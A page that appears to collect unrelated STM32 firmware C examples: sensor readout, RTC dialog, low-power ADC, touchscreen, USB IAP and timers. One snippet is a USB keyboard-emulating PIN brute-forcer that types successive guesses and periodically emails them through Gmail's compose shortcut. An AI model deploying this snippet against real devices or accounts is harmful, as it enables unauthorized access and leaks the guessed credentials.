  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       file (startup_stm32l1xx_xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32l1xx.c file
     */

  uint32_t index = 0;
  
  /* Configure all GPIO pins in Analog mode for lowsest consumption */
  GPIO_Config();

  /* ADC configuration: Channel 18 or 31 (PB12 or PF10) is used, End Of Conversion (EOC) interrupt is enabled */
  ADC_Config();

#ifdef USE_STM32L152_EVAL
  /* LCD GLASS Configuration: LSI as LCD clock source */
  LCD_Glass_Config();
  /* Initialize the TFT-LCD */
  STM32L152_LCD_Init();
#elif defined USE_STM32L152D_EVAL 
  /* Initialize the TFT-LCD */
  STM32L152D_LCD_Init();
#endif 
  
  /* Clear the TFT-LCD */
  LCD_Clear(LCD_COLOR_WHITE);
  
  while(1)
  {
    if (State == STATE_OVER_THRESHOLD) /* Input voltage is over the threshold */
    {
      /* Indicator LED: MCU in RUN mode */
      STM_EVAL_LEDOff(LED1);

      /* Disable COMP IRQ */
      NVIC_InitStructure.NVIC_IRQChannel = COMP_IRQn;
      NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
      NVIC_InitStructure.NVIC_IRQChannelCmd = DISABLE;
      NVIC_Init(&NVIC_InitStructure);
      /* Enable ADC1 IRQ */
      NVIC_InitStructure.NVIC_IRQChannel = ADC1_IRQn;
      NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
      NVIC_Init(&NVIC_InitStructure);

      /* COMP clock disable */
      RCC_APB1PeriphClockCmd(RCC_APB1Periph_COMP, DISABLE);

      /* Restore MCU configuration */
      RestoreConfiguration();

      /* Enable ADC1 */
      ADC_Cmd(ADC1, ENABLE);
      /* Start ADC1 Software Conversion */
      ADC_SoftwareStartConv(ADC1);
      /* Wait for ADC to be ready */
      while(!ADC_GetFlagStatus(ADC1, ADC_FLAG_ADONS));  

      while(State == STATE_OVER_THRESHOLD)
      {
        
        /* Display measured value on Glass LCD */
        DisplayVoltage(ADCVal);
        
        /* Display measured value on LCD */
        for (index = 0; index < 20; index++)
        {
          LCD_DisplayChar(LCD_LINE_3, (319 - (16 * index)), VoltageDisplay[index]);
        }
        /* Check if the measured value is below the threshold VREFINT: 1.22 V */
        if (ADCVal <= 0x000005EA)
        {
          State = STATE_UNDER_THRESHOLD;
        }
      }
    }
    else /* Input voltage is under the threshold */
    {
      /* LED1 ON: MCU in STOP mode */
      STM_EVAL_LEDInit(LED1);
      STM_EVAL_LEDOn(LED1);

      /* Disable ADC1 IRQ */
      NVIC_InitStructure.NVIC_IRQChannel = ADC1_IRQn;
      NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
      NVIC_InitStructure.NVIC_IRQChannelCmd = DISABLE;
      NVIC_Init(&NVIC_InitStructure);
      /* Disable ADC1 */
      ADC_Cmd(ADC1, DISABLE);

      /* Configure COMP2 with interrupt enabled */
      COMP_Config();

      /* Check COMP2 output level before entering STOP mode */
      if (COMP_GetOutputLevel(COMP_Selection_COMP2) == COMP_OutputLevel_Low)
      {
        /* Disable LSI oscillator before entering STOP mode */
        RCC_LSICmd(DISABLE);

        /* Enter STOP mode with regulator in low power */
        PWR_EnterSTOPMode(PWR_Regulator_LowPower, PWR_STOPEntry_WFI);
      }
    }
  }
}
Beispiel #9
0
int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    /*!< At this stage the microcontroller clock setting is already configured,
      this is done through SystemInit() function which is called from startup
      file (startup_stm32f30x.s) before to branch to application main.
      To reconfigure the default setting of SystemInit() function, refer to
      system_stm32f30x.c file
      */

    /* SysTick end of count event each 10ms */
    RCC_GetClocksFreq(&RCC_Clocks);
    SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);

    /* initialise USART1 debug output (TX on pin PA9 and RX on pin PA10) */
    USART1_Init();

    //printf("Starting\n");
    USART1_flush();

    /* Initialise LEDs */
    //printf("Initialising LEDs\n");
    int i;
    for (i = 0; i < 8; ++i) {
        STM_EVAL_LEDInit(leds[i]);
        STM_EVAL_LEDOff(leds[i]);
    }

    /* Initialise gyro */
    //printf("Initialising gyroscope\n");
    Gyro_Init();

    /* Initialise compass */
    //printf("Initialising compass\n");
    Compass_Init();

    Delay(100);
    // perform calibration
    calibrate();


    while (1) {
        float angRate[3], mag[3];

        // read average compass values
        Compass_ReadMagAvg(mag, 2);
        // rotate the compass values so that they are aligned with Earth
        vecMul(axes, mag);
        // calculate the heading through inverse tan of the Y/X magnetic strength
        float compassAngle = atan2f(mag[1], mag[0]) * 180.f / PI;
        // fix heading to be in range -180 to 180
        if (compassAngle > 180.f) compassAngle -= 360.f;
        // read average gyro values
        Gyro_ReadAngRateAvg(angRate, 2);
        // print out everything
        printf("c%6.3f\ng%6.3f\n", compassAngle, angRate[2]-zeroAngRate[2]);

    }

    return 1;
}
/**
  * @brief  Callback function of the Settings dialog
  * @param  pMsg: pointer to a data structure of type WM_MESSAGE
  * @retval None
  */
static void _cbDialogSettings(WM_MESSAGE * pMsg) {
  WM_HWIN hItem;
  int Id, NCode, idx;
  static int8_t sec, min, hour;
  static int8_t asec, amin, ahour;
  static int8_t day, month, max_days;
  static int16_t  year;
  SPINBOX_Handle   hSpin;
  DROPDOWN_Handle  hDropMonth; 
  TEXT_Handle     hText  ;
  static  CALENDAR_DATE   current_date;
  RTC_TimeTypeDef   RTC_TimeStructure;
  RTC_DateTypeDef   RTC_DateStructure;
  static uint8_t TempStr[50];  
  
  switch (pMsg->MsgId) {
  case WM_INIT_DIALOG:
    
    /* Get Clock setting from RTC */
    RTC_GetTime(RTC_Format_BIN, &RTC_TimeStructure);
    
    sec    =  RTC_TimeStructure.RTC_Seconds;
    min    =  RTC_TimeStructure.RTC_Minutes;
    hour   =  RTC_TimeStructure.RTC_Hours;
    
    RTC_GetAlarm(RTC_Format_BIN, RTC_Alarm_A, &RTC_AlarmStructure);
    
    asec  = RTC_AlarmStructure.RTC_AlarmTime.RTC_Seconds;
    amin  = RTC_AlarmStructure.RTC_AlarmTime.RTC_Minutes;
    ahour = RTC_AlarmStructure.RTC_AlarmTime.RTC_Hours;
    
    RTC_GetDate(RTC_Format_BIN, &RTC_DateStructure);
    
    year =  RTC_DateStructure.RTC_Year + 2000;
    month =  RTC_DateStructure.RTC_Month;
    day =  RTC_DateStructure.RTC_Date;
    
    max_days = GetMaxDays(month, year);
    
    /* Update the dialog items */
    hItem = pMsg->hWin;
    FRAMEWIN_SetFont(hItem, GUI_FONT_13B_ASCII);
    
    /* Date */
    
    hText = TEXT_CreateEx(20, 20, 100, 25, pMsg->hWin, WM_CF_SHOW,0, 0x11F," Date : ");
    TEXT_SetFont(hText, GUI_FONT_13B_ASCII);
    TEXT_SetTextColor(hText, 0x00804000);
    
    hSpin = SPINBOX_CreateEx(20, 35, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_DAY, 1, max_days);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);
    SPINBOX_EnableBlink(hSpin, 250, 1);
      
      
    SPINBOX_SetValue(hSpin, day);
    
    hDropMonth = DROPDOWN_CreateEx(65, 35, 80, 160, pMsg->hWin, WM_CF_SHOW, 0,  ID_CLOCK_MONTH);
    DROPDOWN_SetFont(hDropMonth, GUI_FONT_13B_ASCII);
    DROPDOWN_SetTextColor(hDropMonth, DROPDOWN_CI_UNSEL, 0x00804000);
    DROPDOWN_SetTextColor(hDropMonth, DROPDOWN_CI_SEL, 0x00804000);    
    
    for (idx = 0; idx < 12; idx++ )
    {
      DROPDOWN_AddString (hDropMonth, (char *)strMonth[idx]);
    }
    
    DROPDOWN_SetSel(hDropMonth, month - 1);
    
    hSpin = SPINBOX_CreateEx(150, 35, 50, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_YEAR, 2000, 2099);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);  
    SPINBOX_EnableBlink(hSpin, 250, 1);
    SPINBOX_SetValue(hSpin, year);
    
    hItem = CHECKBOX_Create(205, 37, 20, 26, pMsg->hWin, ID_CLOCK_CHECK_DATE ,WM_CF_SHOW);
    CHECKBOX_SetState(hItem, 1);
    
    /* Time */
    
    hText = TEXT_CreateEx(20, 50 + 20, 100, 25, pMsg->hWin, WM_CF_SHOW,0, 0x123," Time : ");
    TEXT_SetFont(hText, GUI_FONT_13B_ASCII);
    TEXT_SetTextColor(hText, 0x00804000);    
    
    hSpin = SPINBOX_CreateEx(20, 65 + 20, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_HOUR, 0,23);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);      
    SPINBOX_SetValue(hSpin, hour);
    SPINBOX_EnableBlink(hSpin, 250, 1);
    
    hSpin = SPINBOX_CreateEx(75, 65 + 20, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_MIN, 0, 59);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);  
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);  
    SPINBOX_SetValue(hSpin, min);
    SPINBOX_EnableBlink(hSpin, 250, 1);
    
    hSpin = SPINBOX_CreateEx(130, 65 + 20, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_SEC, 0, 59);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);  
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);  
    SPINBOX_SetValue(hSpin, sec);
    SPINBOX_EnableBlink(hSpin, 250, 1);
    
    
    hItem = CHECKBOX_Create(205, 65 + 20, 20, 26, pMsg->hWin, ID_CLOCK_CHECK_TIME ,WM_CF_SHOW);
    CHECKBOX_SetState(hItem, 1);
    
    /* Alarm */
    
    hText = TEXT_CreateEx(20, 78 + 40, 100, 25, pMsg->hWin, WM_CF_SHOW,0, 0x126," Alarm : ");
    TEXT_SetFont(hText, GUI_FONT_13B_ASCII);
    TEXT_SetTextColor(hText, 0x00804000);    
    
    hSpin = SPINBOX_CreateEx(20, 93 + 40, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_AHOUR, 0,23);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);      
    SPINBOX_SetValue(hSpin, ahour);
    SPINBOX_EnableBlink(hSpin, 250, 1);
    
    
    hSpin = SPINBOX_CreateEx(75, 93 + 40, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_AMIN, 0, 59);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII); 
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);  
    SPINBOX_SetValue(hSpin, amin);
    SPINBOX_EnableBlink(hSpin, 250, 1);
        
    hSpin = SPINBOX_CreateEx(130, 93 + 40, 40, 18, pMsg->hWin, WM_CF_SHOW, ID_CLOCK_ASEC, 0, 59);
    SPINBOX_SetFont(hSpin, GUI_FONT_13B_ASCII);  
    SPINBOX_SetTextColor(hSpin, SPINBOX_CI_ENABLED, 0x00804000);  
    SPINBOX_SetValue(hSpin, asec);
    hItem = CHECKBOX_Create(205, 93 + 40, 20, 26, pMsg->hWin, ID_CLOCK_CHECK_ALARM ,WM_CF_SHOW);
    CHECKBOX_SetState(hItem, 1);
    SPINBOX_EnableBlink(hSpin, 250, 1);
    
    break;
    
  case WM_NOTIFY_PARENT:
    Id    = WM_GetId(pMsg->hWinSrc);
    NCode = pMsg->Data.v;
    switch(Id) {
      
    case ID_CLOSE_SETTINGS: /* Notifications sent by 'Close' */
      switch(NCode) {
      case WM_NOTIFICATION_RELEASED:
        /* Exit */
        GUI_EndDialog(pMsg->hWin, 0);
        GUI_EndDialog (hNumPad, 0);
        break;
      }
      break;
    case ID_SET_SETTINGS: /* Notifications sent by 'Apply' */
      switch(NCode) {
      case WM_NOTIFICATION_RELEASED:
        
        if(CHECKBOX_GetState( WM_GetDialogItem(WM_GetParent(pMsg->hWin), ID_CLOCK_CHECK_DATE)))
        { 
          current_date.Year = year =  SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_YEAR));
          current_date.Month = month = DROPDOWN_GetSel (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_MONTH)) + 1;
          current_date.Day = day =  SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_DAY)); 
          
          
          RTC_DateStructure.RTC_Year  = year - 2000;
          RTC_DateStructure.RTC_Month = month;
          RTC_DateStructure.RTC_Date  = day;
          RTC_DateStructure.RTC_WeekDay = 0;
          RTC_SetDate(RTC_Format_BIN, &RTC_DateStructure);
          
          hItem = WM_GetDialogItem(WM_GetParent(pMsg->hWin), ID_CALENDAR);
          CALENDAR_SetDate(hItem, &current_date);
          CALENDAR_SetSel(hItem, &current_date);
          
          /* Date */
          hItem = WM_GetDialogItem(WM_GetParent(pMsg->hWin), ID_TEXT_DATE);    
          sprintf((char *)TempStr, "%02d, %s, %04d",day , strMonth[month-1], year);
          TEXT_SetText(hItem, (char *)TempStr);
        }
        
        if(CHECKBOX_GetState( WM_GetDialogItem(WM_GetParent(pMsg->hWin), ID_CLOCK_CHECK_TIME)))
        {
          /* Save new param in RTC */
          sec    =  SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_SEC));
          min    =  SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_MIN));
          hour   =  SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_HOUR));
          
          RTC_TimeStructure.RTC_Seconds = sec;
          RTC_TimeStructure.RTC_Minutes = min;
          RTC_TimeStructure.RTC_Hours   = hour;
          RTC_SetTime(RTC_Format_BIN, &RTC_TimeStructure);
        }
        
        if(CHECKBOX_GetState( WM_GetDialogItem(WM_GetParent(pMsg->hWin), ID_CLOCK_CHECK_ALARM)))
        {
          asec  = SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_ASEC));
          amin  = SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_AMIN));
          ahour = SPINBOX_GetValue (WM_GetDialogItem(pMsg->hWin, ID_CLOCK_AHOUR));
          
          /* Disable the Alarm A */
          RTC_AlarmCmd(RTC_Alarm_A, DISABLE);
          
          /* Disable the RTC Alarm A Interrupt */
          RTC_ITConfig(RTC_IT_ALRA, DISABLE);
          
          STM_EVAL_LEDOff(LED4);
          
          RTC_AlarmStructure.RTC_AlarmTime.RTC_Seconds = asec;
          RTC_AlarmStructure.RTC_AlarmTime.RTC_Minutes = amin;
          RTC_AlarmStructure.RTC_AlarmTime.RTC_Hours = ahour;
          RTC_AlarmStructure.RTC_AlarmDateWeekDaySel = RTC_AlarmDateWeekDaySel_Date;
          RTC_AlarmStructure.RTC_AlarmDateWeekDay = day;
          RTC_SetAlarm(RTC_Format_BIN, RTC_Alarm_A, &RTC_AlarmStructure);
          
          /* Enable the RTC Alarm A Interrupt */
          RTC_ITConfig(RTC_IT_ALRA, ENABLE);
          
          /* Enable the alarm  A */
          RTC_AlarmCmd(RTC_Alarm_A, ENABLE);
          
          alarm_set = 1;
        }
        
        /* Exit */
        WM_InvalidateWindow(WM_GetParent(pMsg->hWin));
        GUI_EndDialog(pMsg->hWin, 0);
        GUI_EndDialog (hNumPad, 0);
        break;
      }
      break;
    }
    break;
  default:
    WM_DefaultProc(pMsg);
    break;
  }
}
Beispiel #11
0
int main(void)
{
  int LogOn = 0;
  int ComOn = 0;
  int dT;
  int16_t data[32];
  uint32_t x;
  UINT cnt;

  InitSystemTick();
  InitGPIO();
  InitTimer();
  STM_EVAL_LEDOn(LED4);

  InitUART(115200);
  InitPressureSensor();
  InitFlowMeter();

  InitAccAndMag();
  InitGyro();

  STM_EVAL_LEDOn(LED7); // zapnem LED7 - zelena

  Delta_us();
  while(1)
  {
    // sample period is time elapsed since previous sampling of sensors
    sampleSensors(a,m,g);
    // update timebase for next time
    dT = Delta_us();
    samplePeriod = 0.000001f * dT;
    // convert gyro deg/s to rad/s
    imuDegToRadV3(g);
    // update AHRS
    MadgwickFullAHRSUpdate(g, a, m, samplePeriod, quaternion);

    if (LogOn) {
      sprintf(text, "%5d%6d%6d%6d%7d%7d%7d%5d%5d%5d\r\n",
              dT,
              aRawData[0], aRawData[1], aRawData[2],
              gRawData[0], gRawData[1], gRawData[2],
              mRawData[0], mRawData[1], mRawData[2]);
      f_write(&File, text, strlen(text), &cnt);
    }

    if(STM_EVAL_PBGetState(BUTTON_USER)) {   // zmena rezimu vystupu
      if (LogOn) {
        // Stop logdata
        LogOn = 0;
        STM_EVAL_LEDOff(LED5); // zapnem LED7 - zelena
        if (f_close(&File) == 0)
          xprintf("Stop login data.\n\r");
        else
          xprintf("Error write datafile.\n\r");
      } else {
        // Start logdata
        if (newFile() == 0)
          xprintf("Start login data.\n\r");
        else
          xprintf("Error create datafile.\n\r");
        STM_EVAL_LEDOn(LED5); // zapnem LED7 - zelena
        LogOn = 1;
      }
    }

    if (ComOn) {
      data[0] = dT;
      data[1] = aRawData[0];
      data[2] = aRawData[1];
      data[3] = aRawData[2];
      data[4] = gRawData[0];
      data[5] = gRawData[1];
      data[6] = gRawData[2];
      data[7] = mRawData[0];
      data[8] = mRawData[1];
      data[9] = mRawData[2];
      data[10] = 0x8080;
      SendDataUART((uint8_t*) data, 22);
    }

    if (IsReceiveUART()) {
      if (ReadByteUART() == 's') {
        STM_EVAL_LEDOn(LED10); // zapnem LED7 - zelena
        ComOn = 1;
      } else {
        STM_EVAL_LEDOff(LED10); // zapnem LED7 - zelena
        ComOn = 0;
      }
    }
/*
    if (x = GetFlowMeter()) {
      printf("Flow: %d\n\r", x);
    }
*/
  }
}
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
int main(void)
{
  uint32_t guessIdx = 0;
  int running = 0;
  int delay = 0;
  RCC_ClocksTypeDef RCC_Clocks;
  
  /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); 
  
  STM_EVAL_LEDInit(LED4);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED5);
  STM_EVAL_LEDInit(LED6);
  
  /* SysTick end of count event each 10ms */
  RCC_GetClocksFreq(&RCC_Clocks);
  SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
  STM_EVAL_LEDOff(LED4);
  STM_EVAL_LEDOn(LED3);
  STM_EVAL_LEDOff(LED5);
  STM_EVAL_LEDOff(LED6);
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO);
  keyboardInit(&USB_OTG_dev);
  Demo_USBConfig();
  char guess[7];
  strcpy(guess, "400000");
  Delay(2000);
  while (1) {
    if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {
      //crappy debounce routine
      TimingDelay = 10;
      while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00));
      //now change start or stop password attempts
      if (running == 0) {
        STM_EVAL_LEDOn(LED4);
        running = 1;
      } else {
        STM_EVAL_LEDOff(LED4);
        running = 0;
      }
    }
    //mostly non blocking delay to allow stopping with button
    if (delay > 0) {
      Delay(1000);
      delay--;
    }
    if (running != 0 && delay == 0) {
      Delay(200);
      keyboardWrite(KEY_BACKSPACE);
      keyboardWrite(KEY_BACKSPACE);
      keyboardWrite(KEY_BACKSPACE);
      keyboardWrite(KEY_BACKSPACE);
      STM_EVAL_LEDToggle(LED6);
      keyboardPutString(guess);
      keyboardWrite(KEY_RETURN);
      Delay(200);
      keyboardWrite(KEY_RETURN);
      
      nextPermutation(guess, "123", 1);
      
      if ((++guessIdx % 5) == 0) {
        //try to email every 5 guesses
        keyboardReleaseAll();
        keyboardPress(KEY_LEFT_GUI);
        keyboardPress('g');
        Delay(50);
        keyboardReleaseAll();
        keyboardPutString("*****@*****.**"); //leave the preceding 'c' that is the gmail compose shortcut
        keyboardWrite(KEY_TAB);
        keyboardPutString(guess);
        keyboardWrite(KEY_TAB);
        keyboardPutString(guess);
        keyboardWrite(KEY_TAB);
        keyboardWrite(KEY_TAB);
        keyboardWrite(KEY_RETURN);
        STM_EVAL_LEDOff(LED5);
        delay = 30;
      }
    }
  }
}
Beispiel #13
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
int main(void)
{
  /* Initialize LEDs and push-buttons mounted on STM3210X-EVAL board */
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  
   /* Initialize the LCD */
#ifdef USE_STM3210C_EVAL
  STM3210C_LCD_Init();
#elif defined (USE_STM32100E_EVAL)
  STM32100E_LCD_Init();  
#endif /* USE_STM3210C_EVAL */
 
  /* Clear the LCD */ 
  LCD_Clear(White);
  
  /* Set the LCD Back Color */
  LCD_SetBackColor(Blue);
  
  /* Set the LCD Text Color */
  LCD_SetTextColor(White);    
 
  /* Display messages on the LCD */
  LCD_DisplayStringLine(Line0, MESSAGE1);
  LCD_DisplayStringLine(Line1, MESSAGE2);
  LCD_DisplayStringLine(Line2, MESSAGE3);
  
  /* Configure the IO Expander */
  if (IOE_Config() == IOE_OK)
  {
    /* Display "IO Expander OK" on the LCD */
    LCD_DisplayStringLine(Line4, "   IO Expander OK   ");
  }
  else
  { 
    LCD_DisplayStringLine(Line4, "IO Expander FAILED ");
    LCD_DisplayStringLine(Line5, " Please Reset the  ");
    LCD_DisplayStringLine(Line6, "   board and start ");
    LCD_DisplayStringLine(Line7, "    again          ");
    while(1);
  }

  /* Draw a rectangle with the specifies parametres and Blue Color */
  LCD_SetTextColor(Blue);
  LCD_DrawRect(180, 310, 40, 60);
  
  /* Draw a rectangle with the specifies parametres and Red Color */
  LCD_SetTextColor(Red);
  LCD_DrawRect(180, 230, 40, 60);
  
  /* Draw a rectangle with the specifies parametres and Yellow Color */
  LCD_SetTextColor(Yellow);
  LCD_DrawRect(180, 150, 40, 60);
  
  /* Draw a rectangle with the specifies parametres and Black Color */
  LCD_SetTextColor(Black);
  LCD_DrawRect(180, 70, 40, 60);
  

#ifdef IOE_INTERRUPT_MODE

 #ifdef  USE_STM32100E_EVAL
  /* Enable the Touch Screen interrupts */
  IOE_ITConfig(IOE_ITSRC_TSC);
  
 #else
  /* Enable the Touch Screen and Joystick interrupts */
  IOE_ITConfig(IOE_ITSRC_JOYSTICK | IOE_ITSRC_TSC);
 #endif /* USE_STM32100E_EVAL */
 
#endif /* IOE_INTERRUPT_MODE */
  
  /* Loop infinitely */
  while(1)
  {
#ifdef IOE_POLLING_MODE
 static TS_STATE* TS_State;
    
 #ifdef  USE_STM3210C_EVAL
 
    static JOY_State_TypeDef JoyState = JOY_NONE;
    
    /* Get the Joytick State */
    JoyState = IOE_JoyStickGetState();
    
    switch (JoyState)
    {
	/* None Joyestick has been selected */
    case JOY_NONE:
      LCD_DisplayStringLine(Line5, "JOY:     ----       ");
      break; 
    case JOY_UP:
      LCD_DisplayStringLine(Line5, "JOY:     UP         ");
      break;     
    case JOY_DOWN:
      LCD_DisplayStringLine(Line5, "JOY:    DOWN        ");
      break;          
    case JOY_LEFT:
      LCD_DisplayStringLine(Line5, "JOY:    LEFT        ");
      break;         
    case JOY_RIGHT:
      LCD_DisplayStringLine(Line5, "JOY:    RIGHT       ");
      break;                 
    case JOY_CENTER:
      LCD_DisplayStringLine(Line5, "JOY:    CENTER      ");
      break; 
    default:
      LCD_DisplayStringLine(Line5, "JOY:    ERROR       ");
      break;         
    }
 #endif /* USE_STM3210C_EVAL */
    
   
    /* Update the structure with the current position of the Touch screen */
    TS_State = IOE_TS_GetState();  
    
    if ((TS_State->TouchDetected) && (TS_State->Y < 220) && (TS_State->Y > 180))
    {
      if ((TS_State->X > 10) && (TS_State->X < 70))
      { 
      /* Display LD4 on the LCD and turn on LED4 */
        LCD_DisplayStringLine(Line6, " LD4                ");
        STM_EVAL_LEDOn(LED4);
      }
      else if ((TS_State->X > 90) && (TS_State->X < 150))
      {
      /* Display LD3 on the LCD and turn on LED3 */
        LCD_DisplayStringLine(Line6, "      LD3           ");
        STM_EVAL_LEDOn(LED3);
      }
      else if ((TS_State->X > 170) && (TS_State->X < 230))
      {
      /* Display LD2 on the LCD and turn on LED2 */
        LCD_DisplayStringLine(Line6, "           LD2      ");
        STM_EVAL_LEDOn(LED2);
      } 
      else if ((TS_State->X > 250) && (TS_State->X < 310))
      {
      /* Display LD1 on the LCD and turn on LED1 */
        LCD_DisplayStringLine(Line6, "                LD1 ");
        STM_EVAL_LEDOn(LED1);
      }
      
    }
    else
    {
    /* Turn off LED1..4 */
      STM_EVAL_LEDOff(LED1);
      STM_EVAL_LEDOff(LED2);
      STM_EVAL_LEDOff(LED3);
      STM_EVAL_LEDOff(LED4);
    }
#endif /* IOE_POLLING_MODE */  
  }
}
Beispiel #14
0
/**
  * @brief  USBH_USR_MSC_Application
  *         Demo application for IAP thru USB mass storage
  * @param  None
  * @retval Staus
  */
int USBH_USR_MSC_Application(void)
{
  EXTI_InitTypeDef EXTI_InitStructure;

  switch (USBH_USR_ApplicationState)
  {
  case USH_USR_FS_INIT:

    /* Initialises the File System*/
    if (f_mount( 0, &fatfs ) != FR_OK )
    {
      /* Fatfs initialisation fails */
      /* Toggle Red LED in infinite loop */
      Fail_Handler();
      return(-1);
    }

    /* Flash Disk is write protected: Set ON Blue LED and Toggle Red LED in infinite loop */
    if (USBH_MSC_Param.MSWriteProtect == DISK_WRITE_PROTECTED)
    {
      /* Set ON Blue LED */
      STM_EVAL_LEDOn(LED6);
      /* Toggle Red LED in infinite loop */
      Fail_Handler();
    }

    /* Go to IAP menu */
    USBH_USR_ApplicationState = USH_USR_IAP;
    break;

  case USH_USR_IAP:

    TimingDelay = 300;
    UploadCondition = 0x01;

    /* Initialize User_Button on STM32F4-Discovery in the EXTI Mode ----------*/
    STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);

    /* Configure Button EXTI line */
    EXTI_InitStructure.EXTI_Line = USER_BUTTON_EXTI_LINE;
    EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt;
    EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Falling;
    EXTI_InitStructure.EXTI_LineCmd = ENABLE;
    EXTI_Init(&EXTI_InitStructure);

    /* Writes Flash memory */
    COMMAND_DOWNLOAD();

    /* Initialize User_Button on STM32F4-Discovery in the GPIO Mode ----------*/
    STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO);

    /* Check if User Button is already pressed */
    if ((TimingDelay == 0x00) && (UploadCondition == 0x01))
    {
      /* Reads all flash memory */
      COMMAND_UPLOAD();

    }
    else
    {
      /* Set Off Orange LED : Download Done */
      STM_EVAL_LEDOff(LED3);
      /* Set ON Green LED: Waiting User button pressed */
      STM_EVAL_LEDOn(LED4);
    }

    UploadCondition = 0x00;

    /* Waiting User Button Released */
    while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) && (HCD_IsDeviceConnected(&USB_OTG_Core) == 1))
    {}

    /* Waiting User Button Pressed */
    while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_RESET) && (HCD_IsDeviceConnected(&USB_OTG_Core) == 1))
    {}

    /* Waiting User Button Released */
    while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) && (HCD_IsDeviceConnected(&USB_OTG_Core) == 1))
    {}

    /* Jumps to user application code located in the internal Flash memory */
    COMMAND_JUMP();
    break;

  default:
    break;
  }
  return(0);
}
Beispiel #15
0
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       file (startup_stm32f4xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32f4xx.c file
     */
	
//initiate user button
  PB_Config();

	//initiate LEDs and turn them on
  LED_Config();	
	
 

  /* -----------------------------------------------------------------------
    TIM3 Configuration: Output Compare Timing Mode:
    
    In this example TIM3 input clock (TIM3CLK) is set to 2 * APB1 clock (PCLK1), 
    since APB1 prescaler is different from 1.   
      TIM3CLK = 2 * PCLK1  
      PCLK1 = HCLK / 4 
      => TIM3CLK = HCLK / 2 = SystemCoreClock /2
          
    To get TIM3 counter clock at 50 MHz, the prescaler is computed as follows:
       Prescaler = (TIM3CLK / TIM3 counter clock) - 1
       Prescaler = ((SystemCoreClock /2) /0.5 MHz) - 1
                                              
    CC1 update rate = TIM3 counter clock / CCR1_Val = 10.0 Hz
    ==> Toggling frequency = 5 Hz

    Note: 
     SystemCoreClock variable holds HCLK frequency and is defined in system_stm32f4xx.c file.
     Each time the core clock (HCLK) changes, user had to call SystemCoreClockUpdate()
     function to update SystemCoreClock variable value. Otherwise, any configuration
     based on this variable will be incorrect.    
		 ----------------------------------------------------------------------- */ 	
	
	//=======================Configure and init Timer======================
  /* Compute the prescaler value */
  PrescalerValue = (uint16_t) ((SystemCoreClock / 2) / 500000) - 1;

 /* TIM Configuration */
  TIM3_Config();

	// configure the output compare
	TIM3_OCConfig();

  /* TIM Interrupts enable */
  TIM_ITConfig(TIM3, TIM_IT_CC1, ENABLE);

  /* TIM3 enable counter */
  TIM_Cmd(TIM3, ENABLE);
	
//======================================configure and init LCD  ======================	
